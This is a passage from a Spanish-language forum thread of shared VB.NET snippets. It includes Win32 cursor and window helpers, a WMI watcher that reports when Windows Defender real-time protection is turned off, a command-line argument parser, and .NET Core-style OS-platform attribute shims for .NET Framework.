  130.        Public Shared Operator =(ByVal Rectangle1 As RECT, ByVal Rectangle2 As RECT) As Boolean
  131.            Return Rectangle1.Equals(Rectangle2)
  132.        End Operator
  133.        Public Shared Operator <>(ByVal Rectangle1 As RECT, ByVal Rectangle2 As RECT) As Boolean
  134.            Return Not Rectangle1.Equals(Rectangle2)
  135.        End Operator
  136.  
  137.        Public Overrides Function ToString() As String
  138.            Return "{Left: " & _Left & "; " & "Top: " & _Top & "; Right: " & _Right & "; Bottom: " & _Bottom & "}"
  139.        End Function
  140.  
  141.        Public Overloads Function Equals(ByVal Rectangle As RECT) As Boolean
  142.            Return Rectangle.Left = _Left AndAlso Rectangle.Top = _Top AndAlso Rectangle.Right = _Right AndAlso Rectangle.Bottom = _Bottom
  143.        End Function
  144.        Public Overloads Overrides Function Equals(ByVal [Object] As Object) As Boolean
  145.            If TypeOf [Object] Is RECT Then
  146.                Return Equals(DirectCast([Object], RECT))
  147.            ElseIf TypeOf [Object] Is Rectangle Then
  148.                Return Equals(New RECT(DirectCast([Object], Rectangle)))
  149.            End If
  150.  
  151.            Return False
  152.        End Function
  153.    End Structure
  154.  
  155. #End Region
  156.  
  157.    Public Function GetCursorPosition() As System.Drawing.Point
  158.        Dim CursorPos As New System.Drawing.Point
  159.        GetCursorPos(CursorPos)
  160.        Return CursorPos
  161.    End Function
  162.  
  163.    Public Function GetClientPosition(ByVal hWnd As IntPtr) As System.Drawing.Point
  164.        Dim ClientPos As New System.Drawing.Point
  165.        ScreenToClient(hWnd, ClientPos)
  166.        Return ClientPos
  167.    End Function
  168.  
  169.    Public Function GetClientCursorPosition(ByVal hWnd As IntPtr) As System.Drawing.Point
  170.        Dim ClientCursorPos As New System.Drawing.Point
  171.        Dim CursorPos As System.Drawing.Point = GetCursorPosition()
  172.        Dim ClientPos As System.Drawing.Point = GetClientPosition(hWnd)
  173.        ClientCursorPos = New System.Drawing.Point(CursorPos.X + ClientPos.X, CursorPos.Y + ClientPos.Y)
  174.        Return ClientCursorPos
  175.    End Function
  176.  
  177.    Public Function GetProcessHandle(ByVal ProcessName As String) As IntPtr
  178.        If ProcessName.ToLower.EndsWith(".exe") Then ProcessName = ProcessName.Substring(0, ProcessName.Length - 4)
  179.        Dim ProcessArray = Process.GetProcessesByName(ProcessName)
  180.        If ProcessArray.Length = 0 Then Return Nothing Else Return ProcessArray(0).MainWindowHandle
  181.    End Function
  182.  
  183. #End Region
  184.  
  185. End Class
  186.  



Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: **Aincrad** en 9 Junio 2021, 01:19 am
Defender Watcher

Monitoriza la desactivacion em tiempo real del Windows Defender.

( click en la imagen para ir código fuente en Github)
(https://i.imgur.com/708adIW.jpg) (https://github.com/DestroyerDarkNess/DefenderWatcher)



Codigo Fuente

DefenderWatcher.vb

Código
  1. ' ***********************************************************************
  2. ' Author   : Destroyer
  3. ' Modified : 8-June-2021
  4. ' Github   : https://github.com/DestroyerDarkNess
  5. ' Twitter  : https://twitter.com/Destroy06933000
  6. ' ***********************************************************************
  7. ' <copyright file="DefenderWatcher.vb" company="S4Lsalsoft">
  8. '     Copyright (c) S4Lsalsoft. All rights reserved.
  9. ' </copyright>
  10. ' ***********************************************************************
  11.  
  12. #Region " Usage Examples "
  13.  
  14. ' ''' <summary>
  15. ' ''' The DefenderWatcher instance to monitor Windows Defender Realtime Status Changed.
  16. ' ''' </summary>
  17. 'Friend WithEvents DefenderMon As New DefenderWatcher
  18.  
  19. ' ''' ----------------------------------------------------------------------------------------------------
  20. ' ''' <summary>
  21. ' ''' Handles the <see cref="DefenderWatcher.DefenderStatusChanged"/> event of the <see cref="DefenderMon"/> instance.
  22. ' ''' </summary>
  23. ' ''' ----------------------------------------------------------------------------------------------------
  24. ' ''' <param name="sender">
  25. ' ''' The source of the event.
  26. ' ''' </param>
  27. ' '''
  28. ' ''' <param name="e">
  29. ' ''' The <see cref="DefenderWatcher.DefenderStatusChangedEventArgs"/> instance containing the event data.
  30. ' ''' </param>
  31. ' ''' ----------------------------------------------------------------------------------------------------
  32. 'Private Sub DefenderMon_DefenderStatusChanged(ByVal sender As Object, ByVal e As DefenderWatcher.DefenderStatusChangedEventArgs) Handles DefenderMon.DefenderStatusChanged
  33. '    Dim sb As New System.Text.StringBuilder
  34. '    sb.AppendLine(" Defender Configuration change -  Windows Defender RealtimeMonitoring")
  35. '    sb.AppendLine(String.Format("DisableRealtimeMonitoring......: {0}", e.TargetInstance.ToString))
  36. '    sb.AppendLine(String.Format("Old Value......................: {0}", e.PreviousInstance.ToString))
  37. '    Me.BeginInvoke(Sub()
  38. '                       TextBox1.Text += (sb.ToString) & Environment.NewLine & Environment.NewLine
  39. '                   End Sub)
  40. 'End Sub
  41.  
  42. #End Region
  43.  
  44. #Region " Imports "
  45.  
  46. Imports System.ComponentModel
  47. Imports System.Management
  48. Imports System.Windows.Forms
  49.  
  50. #End Region
  51.  
  52. Namespace Core.Engine.Watcher
  53.  
  54.    Public Class DefenderWatcher : Inherits NativeWindow : Implements IDisposable
  55.  
  56. #Region " Constructor "
  57.  
  58.        ''' ----------------------------------------------------------------------------------------------------
  59.        ''' <summary>
  60.        ''' Initializes a new instance of <see cref="DefenderWatcher"/> class.
  61.        ''' </summary>
  62.        ''' ----------------------------------------------------------------------------------------------------
  63.        <DebuggerStepThrough>
  64.        Public Sub New()
  65.  
  66.            Me.events = New EventHandlerList
  67.  
  68.        End Sub
  69.  
  70. #End Region
  71.  
  72. #Region " Properties "
  73.  
  74.        ''' ----------------------------------------------------------------------------------------------------
  75.        ''' <summary>
  76.        ''' Gets a value that determines whether the monitor is running.
  77.        ''' </summary>
  78.        ''' ----------------------------------------------------------------------------------------------------
  79.        Public ReadOnly Property IsRunning As Boolean
  80.            <DebuggerStepThrough>
  81.            Get
  82.                Return Me.isRunningB
  83.            End Get
  84.        End Property
  85.        Private isRunningB As Boolean
  86.  
  87. #End Region
  88.  
  89.        Private Scope As New ManagementScope("root\Microsoft\Windows\Defender")
  90.        Private WithEvents DefenderState As ManagementEventWatcher = New ManagementEventWatcher(Scope, New WqlEventQuery("SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance ISA 'MSFT_MpPreference' AND TargetInstance.DisableRealtimeMonitoring=True"))
  91.  
  92. #Region " Events "
  93.  
  94.  
  95.        ''' ----------------------------------------------------------------------------------------------------
  96.        ''' <summary>
  97.        ''' A list of event delegates.
  98.        ''' </summary>
  99.        ''' ----------------------------------------------------------------------------------------------------
  100.        Private ReadOnly events As EventHandlerList
  101.  
  102.        Public Custom Event DefenderStatusChanged As EventHandler(Of DefenderStatusChangedEventArgs)
  103.  
  104.            <DebuggerNonUserCode>
  105.            <DebuggerStepThrough>
  106.            AddHandler(ByVal value As EventHandler(Of DefenderStatusChangedEventArgs))
  107.                Me.events.AddHandler("DefenderStatusChangedEvent", value)
  108.            End AddHandler
  109.  
  110.            <DebuggerNonUserCode>
  111.            <DebuggerStepThrough>
  112.            RemoveHandler(ByVal value As EventHandler(Of DefenderStatusChangedEventArgs))
  113.                Me.events.RemoveHandler("DefenderStatusChangedEvent", value)
  114.            End RemoveHandler
  115.  
  116.            <DebuggerNonUserCode>
  117.            <DebuggerStepThrough>
  118.            RaiseEvent(ByVal sender As Object, ByVal e As DefenderStatusChangedEventArgs)
  119.                Dim handler As EventHandler(Of DefenderStatusChangedEventArgs) =
  120.                    DirectCast(Me.events("DefenderStatusChangedEvent"), EventHandler(Of DefenderStatusChangedEventArgs))
  121.  
  122.                If (handler IsNot Nothing) Then
  123.                    handler.Invoke(sender, e)
  124.                End If
  125.            End RaiseEvent
  126.  
  127.        End Event
  128.  
  129. #End Region
  130.  
  131.        '   Dim oInterfaceType As String = TIBase?.Properties("DisableRealtimeMonitoring")?.Value.ToString() ' Prevent Defender Disable
  132.  
  133.        Public Sub DefenderState_EventArrived(ByVal sender As Object, ByVal e As EventArrivedEventArgs) Handles DefenderState.EventArrived
  134.            Dim DefenderTargetInstance As Boolean = Nothing
  135.            Dim DefenderPreviousInstance As Boolean = Nothing
  136.  
  137.            Using TIBase = CType(e.NewEvent.Properties("TargetInstance").Value, ManagementBaseObject)
  138.                DefenderTargetInstance = CBool(TIBase.Properties("DisableRealtimeMonitoring").Value)
  139.            End Using
  140.  
  141.            Using PIBase = CType(e.NewEvent.Properties("PreviousInstance").Value, ManagementBaseObject)
  142.                DefenderPreviousInstance = CBool(PIBase.Properties("DisableRealtimeMonitoring").Value)
  143.            End Using
  144.  
  145.            Me.OnDefenderStatusChanged(New DefenderStatusChangedEventArgs(DefenderTargetInstance, DefenderPreviousInstance))
  146.  
  147.        End Sub
  148.  
  149. #Region " Event Invocators "
  150.  
  151.        <DebuggerStepThrough>
  152.        Protected Overridable Sub OnDefenderStatusChanged(ByVal e As DefenderStatusChangedEventArgs)
  153.  
  154.            RaiseEvent DefenderStatusChanged(Me, e)
  155.  
  156.        End Sub
  157.  
  158. #End Region
  159.  
  160. #Region " Events Data "
  161.  
  162.        Public NotInheritable Class DefenderStatusChangedEventArgs : Inherits EventArgs
  163.  
  164. #Region " Properties "
  165.  
  166.            Private ReadOnly TargetInstanceB As Boolean
  167.            Public ReadOnly Property TargetInstance As Boolean
  168.                <DebuggerStepThrough>
  169.                Get
  170.                    Return Me.TargetInstanceB
  171.                End Get
  172.            End Property
  173.  
  174.            Private ReadOnly PreviousInstanceB As Boolean
  175.            Public ReadOnly Property PreviousInstance As Boolean
  176.                <DebuggerStepThrough>
  177.                Get
  178.                    Return Me.PreviousInstanceB
  179.                End Get
  180.            End Property
  181.  
  182. #End Region
  183.  
  184. #Region " Constructors "
  185.  
  186.            <DebuggerNonUserCode>
  187.            Private Sub New()
  188.            End Sub
  189.  
  190.            <DebuggerStepThrough>
  191.            Public Sub New(ByVal TI As Boolean, ByVal PI As Boolean)
  192.  
  193.                Me.TargetInstanceB = TI
  194.                Me.PreviousInstanceB = PI
  195.  
  196.            End Sub
  197.  
  198. #End Region
  199.  
  200.        End Class
  201.  
  202. #End Region
  203.  
  204. #Region " Public Methods "
  205.  
  206.        ''' ----------------------------------------------------------------------------------------------------
  207.        ''' <summary>
  208.        ''' Starts monitoring.
  209.        ''' </summary>
  210.        ''' ----------------------------------------------------------------------------------------------------
  211.        ''' <exception cref="Exception">
  212.        ''' Monitor is already running.
  213.        ''' </exception>
  214.        ''' ----------------------------------------------------------------------------------------------------
  215.        <DebuggerStepThrough>
  216.        Public Overridable Sub Start()
  217.  
  218.            If (Me.Handle = IntPtr.Zero) Then
  219.                MyBase.CreateHandle(New CreateParams)
  220.                DefenderState.Start()
  221.                 Me.isRunningB = True
  222.  
  223.            Else
  224.                Throw New Exception(message:="Monitor is already running.")
  225.  
  226.            End If
  227.  
  228.        End Sub
  229.  
  230.        ''' ----------------------------------------------------------------------------------------------------
  231.        ''' <summary>
  232.        ''' Stops monitoring.
  233.        ''' </summary>
  234.        ''' ----------------------------------------------------------------------------------------------------
  235.        ''' <exception cref="Exception">
  236.        ''' Monitor is already stopped.
  237.        ''' </exception>
  238.        ''' ----------------------------------------------------------------------------------------------------
  239.        <DebuggerStepThrough>
  240.        Public Overridable Sub [Stop]()
  241.  
  242.            If (Me.Handle <> IntPtr.Zero) Then
  243.                DefenderState.Stop()
  244.                MyBase.DestroyHandle()
  245.                Me.isRunningB = False
  246.  
  247.            Else
  248.                Throw New Exception(message:="Monitor is already stopped.")
  249.  
  250.            End If
  251.  
  252.        End Sub
  253.  
  254. #End Region
  255.  
  256. #Region " IDisposable Implementation "
  257.  
  258.        ''' ----------------------------------------------------------------------------------------------------
  259.        ''' <summary>
  260.        ''' To detect redundant calls when disposing.
  261.        ''' </summary>
  262.        ''' ----------------------------------------------------------------------------------------------------
  263.        Private isDisposed As Boolean
  264.  
  265.        ''' ----------------------------------------------------------------------------------------------------
  266.        ''' <summary>
  267.        ''' Releases all the resources used by this instance.
  268.        ''' </summary>
  269.        ''' ----------------------------------------------------------------------------------------------------
  270.        <DebuggerStepThrough>
  271.        Public Sub Dispose() Implements IDisposable.Dispose
  272.  
  273.            Me.Dispose(isDisposing:=True)
  274.            GC.SuppressFinalize(obj:=Me)
  275.  
  276.        End Sub
  277.  
  278.        ''' ----------------------------------------------------------------------------------------------------
  279.        ''' <summary>
  280.        ''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
  281.        ''' Releases unmanaged and - optionally - managed resources.
  282.        ''' </summary>
  283.        ''' ----------------------------------------------------------------------------------------------------
  284.        ''' <param name="isDisposing">
  285.        ''' <see langword="True"/>  to release both managed and unmanaged resources;
  286.        ''' <see langword="False"/> to release only unmanaged resources.
  287.        ''' </param>
  288.        ''' ----------------------------------------------------------------------------------------------------
  289.        <DebuggerStepThrough>
  290.        Protected Overridable Sub Dispose(ByVal isDisposing As Boolean)
  291.  
  292.            If (Not Me.isDisposed) AndAlso (isDisposing) Then
  293.  
  294.                Me.events.Dispose()
  295.                Me.Stop()
  296.  
  297.            End If
  298.  
  299.            Me.isDisposed = True
  300.  
  301.        End Sub
  302.  
  303. #End Region
  304.  
  305.    End Class
  306.  
  307. End Namespace
  308.  
  309.  





Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: **Aincrad** en 29 Enero 2023, 21:10 pm

FastArgumentParser

Parsea Argumentos de manera rapida y sencilla.

( click en la imagen para ir código fuente en Github)
(https://i.imgur.com/708adIW.jpg) (https://github.com/DestroyerDarkNess/FastArgumentParser)



Codigo Fuente

FastArgumentParser.vb

Código
  1. ' ***********************************************************************
  2. ' Author   : Destroyer
  3. ' Github   : https://github.com/DestroyerDarkNess
  4. ' Modified : 26-1-2023
  5. ' ***********************************************************************
  6. ' <copyright file="FastArgumentParser.vb" company="S4lsalsoft">
  7. '     Copyright (c) S4lsalsoft. All rights reserved.
  8. ' </copyright>
  9. ' ***********************************************************************
  10.  
  11. #Region " Usage Examples "
  12.  
  13. ''Commandline Arguments
  14. '' This contains the following:
  15. '' -file "d3d9.h" -silent 0x146 H&146
  16. 'Dim CommandLineArgs As String() = Environment.GetCommandLineArgs
  17.  
  18. 'Dim FastArgumentParser As Core.FastArgumentParser = New Core.FastArgumentParser()
  19.  
  20. '' Optional Config
  21. '' FastArgumentParser.ArgumentDelimiter = "-"
  22.  
  23. '' Set your Arguments
  24. 'Dim FileA As IArgument = FastArgumentParser.Add("file").SetDescription("file name")
  25. 'Dim SilentA As IArgument = FastArgumentParser.Add("silent").SetDescription("start silent")
  26.  
  27. '' Parse Arguments
  28. 'FastArgumentParser.Parse(CommandLineArgs)
  29. '' Or
  30. '' FastArgumentParser.Parse(CommandLineArgs, " ") ' To config Parameters Delimiter
  31.  
  32.  
  33. '' Get Arguments Values
  34. 'Console.WriteLine("Argument " & FileA.Name & " Value is: " & FileA.Value)
  35. 'Console.WriteLine("Argument " & SilentA.Name & " Value is: " & SilentA.Value)
  36.  
  37. #End Region
  38.  
  39. #Region " Imports "
  40.  
  41. Imports System.Collections.Specialized
  42.  
  43. #End Region
  44.  
  45. Namespace Core
  46.  
  47.    Public Class FastArgumentParser
  48.  
  49.        Private Property ArgumentList As List(Of IArgument)
  50.        Public Property ArgumentDelimiter As String = "-"
  51.  
  52.        Private UnknownArgs As New List(Of IArgument)
  53.        Public ReadOnly Property UnknownArguments As List(Of IArgument)
  54.            Get
  55.                Return UnknownArgs
  56.            End Get
  57.        End Property
  58.  
  59.        Public ReadOnly Property Count As Integer
  60.            Get
  61.                Return ArgumentList.Count()
  62.            End Get
  63.        End Property
  64.  
  65.        Public Sub New()
  66.            ArgumentList = New List(Of IArgument)
  67.        End Sub
  68.  
  69.        Public Function Add(ByVal name As String) As IArgument
  70.            If name.StartsWith(ArgumentDelimiter) = False Then name = ArgumentDelimiter & name
  71.            Dim ArgHandler As IArgument = New IArgument() With {.Name = name}
  72.            ArgumentList.Add(ArgHandler)
  73.            Return ArgHandler
  74.        End Function
  75.  
  76.        Public Sub Parse(ByVal args As String(), Optional ByVal ParameterDelimiter As String = " ")
  77.            Dim argCol As StringCollection = New StringCollection()
  78.            argCol.AddRange(args)
  79.  
  80.            Dim strEnum As StringEnumerator = argCol.GetEnumerator()
  81.  
  82.            Dim CountRequiredArg As Integer = 0
  83.  
  84.            Dim LastArg As IArgument = Nothing
  85.  
  86.            While strEnum.MoveNext()
  87.  
  88.                If strEnum.Current.StartsWith(ArgumentDelimiter) Then
  89.                    Dim GetArg As IArgument = GetArgCommand(strEnum.Current)
  90.                    LastArg = GetArg
  91.  
  92.                    If GetArg Is Nothing Then
  93.                        Dim UnknownA As IArgument = New IArgument With {.Name = strEnum.Current}
  94.                        UnknownArgs.Add(UnknownA)
  95.                    End If
  96.  
  97.                Else
  98.                    If LastArg IsNot Nothing Then
  99.                        If Not LastArg.Value = String.Empty Then LastArg.Value += ParameterDelimiter
  100.                        LastArg.Value += strEnum.Current
  101.                        Continue While
  102.                    End If
  103.                End If
  104.  
  105.            End While
  106.  
  107.        End Sub
  108.  
  109.        Private Function GetArgCommand(ByVal NameEx As String) As IArgument
  110.            For Each item In ArgumentList
  111.                If NameEx.Equals(item.Name) Then Return item
  112.            Next
  113.            Return Nothing
  114.        End Function
  115.  
  116.  
  117.    End Class
  118.  
  119.    Public Class IArgument
  120.        Public Property Name As String = String.Empty
  121.        Public Property Description As String = String.Empty
  122.        Public Property Value As String = String.Empty
  123.  
  124.        Public Function SetDescription(ByVal _text As String) As IArgument
  125.            Me.Description = _text
  126.            Return Me
  127.        End Function
  128.    End Class
  129.  
  130. End Namespace
  131.  
  132.  

Ejemplo de Uso:

Código
  1. 'Commandline Arguments
  2.        ' This contains the following:
  3.        ' -file "d3d9.h" -silent 0x146 H&146
  4.        Dim CommandLineArgs As String() = Environment.GetCommandLineArgs
  5.  
  6.        Dim FastArgumentParser As Core.FastArgumentParser = New Core.FastArgumentParser()
  7.  
  8.        ' Optional Config
  9.        ' FastArgumentParser.ArgumentDelimiter = "-"
  10.  
  11.        ' Set your Arguments
  12.        Dim FileA As IArgument = FastArgumentParser.Add("file").SetDescription("file name")
  13.        Dim SilentA As IArgument = FastArgumentParser.Add("silent").SetDescription("start silent")
  14.  
  15.        ' Parse Arguments
  16.        FastArgumentParser.Parse(CommandLineArgs)
  17.        ' Or
  18.        ' FastArgumentParser.Parse(CommandLineArgs, " ") ' To config Parameters Delimiter
  19.  
  20.  
  21.        ' Get Arguments Values
  22.        Console.WriteLine("Argument " & FileA.Name & " Value is: " & FileA.Value)
  23.        Console.WriteLine("Argument " & SilentA.Name & " Value is: " & SilentA.Value)
  24.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Elektro Enjuto en 10 Septiembre 2023, 06:35 am
Aquí les dejo varias clases de atributos pensadas estrictamente para ser utilizadas en .NET Framework.

Estas clases de atributo sirven como sustitutos de las clases de atributo disponibles en .NET Core que llevan el mismo nombre.

De este modo, podemos utilizar las mismas clases de atributo pero en un código de .NET Framework, permitiendo aplicar estos atributos a un código antes de migrarlo a .NET Core.

Estas clases de atirubuto son una copia idéntica de las clases disponibles en .NET Core, incluyendo los argumentos de atributo.

El modo de empleo es como cualquier otra clase de atributo:

Código
  1. <Extension>
  2. <SupportedOSPlatform("windows")>
  3. Public Function ToRectangle(bmp As Bitmap) As Rectangle
  4.    Return New Rectangle(Point.Empty, bmp.Size)
  5. End Function



SupportedOSPlatformAttribute.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 23-June-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Option Statements "
  7.  
  8. Option Strict On
  9. Option Explicit On
  10. Option Infer Off
  11.  
  12. #End Region
  13.  
  14. #Region " Imports "
  15.  
  16. #End Region
  17.  
  18. #If Not NETCOREAPP Then
  19.  
  20. Namespace DevCase.Runtime.Attributes
  21.  
  22.    ''' ----------------------------------------------------------------------------------------------------
  23.    ''' <summary>
  24.    ''' This attribute class is solely intended to simulate and therefore preserve the
  25.    ''' 'System.Runtime.Versioning.SupportedOSPlatformAttribute' attribute class when migrating projects to .NET Core.
  26.    ''' <para></para>
  27.    ''' This attribute class marks APIs that are supported for a specified platform or operating system.
  28.    ''' If a version is specified, the API cannot be called from an earlier version.
  29.    ''' <para></para>
  30.    ''' Multiple attributes can be applied to indicate support for multiple platforms or operating systems.
  31.    ''' </summary>
  32.    ''' ----------------------------------------------------------------------------------------------------
  33.    ''' <remarks>
  34.    ''' For more information, see <see href="https://learn.microsoft.com/en-us/dotnet/api/system.runtime.versioning.supportedosplatformattribute">SupportedOSPlatformAttribute Class</see>.
  35.    ''' </remarks>
  36.    ''' ----------------------------------------------------------------------------------------------------
  37.    ''' <seealso cref="System.Attribute" />
  38.    ''' ----------------------------------------------------------------------------------------------------
  39.    <AttributeUsage(AttributeTargets.Assembly Or
  40.                    AttributeTargets.Class Or
  41.                    AttributeTargets.Constructor Or
  42.                    AttributeTargets.Enum Or
  43.                    AttributeTargets.Event Or
  44.                    AttributeTargets.Field Or
  45.                    AttributeTargets.Interface Or
  46.                    AttributeTargets.Method Or
  47.                    AttributeTargets.Module Or
  48.                    AttributeTargets.Property Or
  49.                    AttributeTargets.Struct,
  50.    AllowMultiple:=True, Inherited:=False)>
  51.    Public NotInheritable Class SupportedOSPlatformAttribute : Inherits Attribute
  52.  
  53.        ''' ----------------------------------------------------------------------------------------------------
  54.        ''' <summary>
  55.        ''' Gets the supported OS platform name that this attribute applies to,
  56.        ''' optionally including a version (eg. "windows7.0").
  57.        ''' </summary>
  58.        ''' ----------------------------------------------------------------------------------------------------
  59.        Public ReadOnly Property PlatformName As String
  60.  
  61.        ''' ----------------------------------------------------------------------------------------------------
  62.        ''' <summary>
  63.        ''' Initializes a new instance of the <see cref="SupportedOSPlatformAttribute"/> attribute class
  64.        ''' for the specified supported OS platform (eg. "windows7.0").
  65.        ''' </summary>
  66.        ''' ----------------------------------------------------------------------------------------------------
  67.        ''' <param name="platformName">
  68.        ''' The supported OS platform name that this attribute applies to,
  69.        ''' optionally including a version (eg. "windows7.0").
  70.        ''' </param>
  71.        ''' ----------------------------------------------------------------------------------------------------
  72.        Public Sub New(platformName As String)
  73.            Me.PlatformName = platformName
  74.        End Sub
  75.  
  76.    End Class
  77.  
  78. End Namespace
  79.  
  80. #End If
  81.  



UnsupportedOSPlatformAttribute.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 23-June-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Option Statements "
  7.  
  8. Option Strict On
  9. Option Explicit On
  10. Option Infer Off
  11.  
  12. #End Region
  13.  
  14. #Region " Imports "
  15.  
  16. #End Region
  17.  
  18. #If Not NETCOREAPP Then
  19.  
  20. Namespace DevCase.Runtime.Attributes
  21.  
  22.    ''' ----------------------------------------------------------------------------------------------------
  23.    ''' <summary>
  24.    ''' This attribute class is solely intended to simulate and therefore preserve the
  25.    ''' 'System.Runtime.Versioning.UnsupportedOSPlatformAttribute' attribute class when migrating projects to .NET Core.
  26.    ''' <para></para>
  27.    ''' This attribute class marks APIs that were removed or are unsupported in a given operating system version.
  28.    ''' <para></para>
  29.    ''' Multiple attributes can be applied to indicate unsupported platforms or operating systems.
  30.    ''' </summary>
  31.    ''' ----------------------------------------------------------------------------------------------------
  32.    ''' <remarks>
  33.    ''' For more information, see <see href="https://learn.microsoft.com/en-us/dotnet/api/system.runtime.versioning.unsupportedosplatformattribute">UnsupportedOSPlatformAttribute Class</see>.
  34.    ''' </remarks>
  35.    ''' ----------------------------------------------------------------------------------------------------
  36.    ''' <seealso cref="System.Attribute" />
  37.    ''' ----------------------------------------------------------------------------------------------------
  38.    <AttributeUsage(AttributeTargets.Assembly Or
  39.                    AttributeTargets.Class Or
  40.                    AttributeTargets.Constructor Or
  41.                    AttributeTargets.Enum Or
  42.                    AttributeTargets.Event Or
  43.                    AttributeTargets.Field Or
  44.                    AttributeTargets.Interface Or
  45.                    AttributeTargets.Method Or
  46.                    AttributeTargets.Module Or
  47.                    AttributeTargets.Property Or
  48.                    AttributeTargets.Struct,
  49.    AllowMultiple:=True, Inherited:=False)>
  50.    Public NotInheritable Class UnsupportedOSPlatformAttribute : Inherits Attribute
  51.  
  52.        ''' ----------------------------------------------------------------------------------------------------
  53.        ''' <summary>
  54.        ''' Gets the unsupported OS platform name that this attribute applies to,
  55.        ''' optionally including a version (eg. "windows7.0").
  56.        ''' </summary>
  57.        ''' ----------------------------------------------------------------------------------------------------
  58.        Public ReadOnly Property PlatformName As String
  59.  
  60.        ''' ----------------------------------------------------------------------------------------------------
  61.        ''' <summary>
  62.        ''' Gets additional information about the unsupported API, for example,
  63.        ''' a message that mostly suggests a replacement for the unsupported API.
  64.        ''' </summary>
  65.        ''' ----------------------------------------------------------------------------------------------------
  66.        Public ReadOnly Property Message As String
  67.  
  68.        ''' ----------------------------------------------------------------------------------------------------
  69.        ''' <summary>
  70.        ''' Initializes a new instance of the <see cref="UnsupportedOSPlatformAttribute"/> attribute class
  71.        ''' for the specified unsupported OS platform.
  72.        ''' </summary>
  73.        ''' ----------------------------------------------------------------------------------------------------
  74.        ''' <param name="platformName">
  75.        ''' The unsupported OS platform name that this attribute applies to,
  76.        ''' optionally including a version (eg. "windows7.0").
  77.        ''' </param>
  78.        ''' ----------------------------------------------------------------------------------------------------
  79.        Public Sub New(platformName As String)
  80.            Me.PlatformName = platformName
  81.        End Sub
  82.  
  83.        ''' ----------------------------------------------------------------------------------------------------
  84.        ''' <summary>
  85.        ''' Initializes a new instance of the <see cref="UnsupportedOSPlatformAttribute"/> attribute class
  86.        ''' for the specified unsupported OS platform with an additional message.
  87.        ''' </summary>
  88.        ''' ----------------------------------------------------------------------------------------------------
  89.        ''' <param name="platformName">
  90.        ''' The unsupported OS platform name that this attribute applies to,
  91.        ''' optionally including a version (eg. "windows7.0").
  92.        ''' </param>
  93.        '''
  94.        ''' <param name="message">
  95.        ''' Additional information about the unsupported API, for example,
  96.        ''' a message that mostly suggests a replacement for the unsupported API.
  97.        ''' </param>
  98.        ''' ----------------------------------------------------------------------------------------------------
  99.        Public Sub New(platformName As String, message As String)
  100.            Me.PlatformName = platformName
  101.            Me.Message = message
  102.        End Sub
  103.  
  104.    End Class
  105.  
  106. End Namespace
  107.  
  108. #End If
  109.  



ObsoletedOSPlatformAttribute.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 23-June-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Option Statements "
  7.  
  8. Option Strict On
  9. Option Explicit On
  10. Option Infer Off
  11.  
  12. #End Region
  13.  
  14. #Region " Imports "
  15.  
  16. #End Region
  17.  
  18. #If Not NETCOREAPP Then
  19.  
  20. Namespace DevCase.Runtime.Attributes
  21.  
  22.    ''' ----------------------------------------------------------------------------------------------------
  23.    ''' <summary>
  24.    ''' This attribute class is solely intended to simulate and therefore preserve the
  25.    ''' 'System.Runtime.Versioning.ObsoletedOSPlatformAttribute' attribute class when migrating projects to .NET Core.
  26.    ''' <para></para>
  27.    ''' This attribute class marks APIs that were obsoleted in a given operating system version.
  28.    ''' <para></para>
  29.    ''' Multiple attributes can be applied to indicate obsoleted platforms or operating systems.
  30.    ''' </summary>
  31.    ''' ----------------------------------------------------------------------------------------------------
  32.    ''' <remarks>
  33.    ''' For more information, see <see href="https://learn.microsoft.com/en-us/dotnet/api/system.runtime.versioning.obsoletedosplatformattribute">ObsoletedOSPlatformAttribute Class</see>.
  34.    ''' </remarks>
  35.    ''' ----------------------------------------------------------------------------------------------------
  36.    ''' <seealso cref="System.Attribute" />
  37.    ''' ----------------------------------------------------------------------------------------------------
  38.    <AttributeUsage(AttributeTargets.Assembly Or
  39.                    AttributeTargets.Class Or
  40.                    AttributeTargets.Constructor Or
  41.                    AttributeTargets.Enum Or
  42.                    AttributeTargets.Event Or
  43.                    AttributeTargets.Field Or
  44.                    AttributeTargets.Interface Or
  45.                    AttributeTargets.Method Or
  46.                    AttributeTargets.Module Or
  47.                    AttributeTargets.Property Or
  48.                    AttributeTargets.Struct,
  49.    AllowMultiple:=True, Inherited:=False)>
  50.    Public NotInheritable Class ObsoletedOSPlatformAttribute : Inherits Attribute
  51.  
  52.        ''' ----------------------------------------------------------------------------------------------------
  53.        ''' <summary>
  54.        ''' Gets the obsoleted OS platform name that this attribute applies to,
  55.        ''' optionally including a version (eg. "windows7.0").
  56.        ''' </summary>
  57.        ''' ----------------------------------------------------------------------------------------------------
  58.        Public ReadOnly Property PlatformName As String
  59.  
  60.        ''' ----------------------------------------------------------------------------------------------------
  61.        ''' <summary>
  62.        ''' Gets additional information about the obsoletion, for example,
  63.        ''' a message that mostly suggests an alternative for the obsoleted API.
  64.        ''' </summary>
  65.        ''' ----------------------------------------------------------------------------------------------------
  66.        Public ReadOnly Property Message As String
  67.  
  68.        ''' ----------------------------------------------------------------------------------------------------
  69.        ''' <summary>
  70.        ''' Initializes a new instance of the <see cref="UnsupportedOSPlatformAttribute"/> attribute class
  71.        ''' for the specified obsoleted OS platform.
  72.        ''' </summary>
  73.        ''' ----------------------------------------------------------------------------------------------------
  74.        ''' <param name="platformName">
  75.        ''' The obsoleted OS platform name that this attribute applies to,
  76.        ''' optionally including a version (eg. "windows7.0").
  77.        ''' </param>
  78.        ''' ----------------------------------------------------------------------------------------------------
  79.        Public Sub New(platformName As String)
  80.            Me.PlatformName = platformName
  81.        End Sub
  82.  
  83.        ''' ----------------------------------------------------------------------------------------------------
  84.        ''' <summary>
  85.        ''' Initializes a new instance of the <see cref="UnsupportedOSPlatformAttribute"/> attribute class
  86.        ''' for the specified obsoleted OS platform with an additional message.
  87.        ''' </summary>
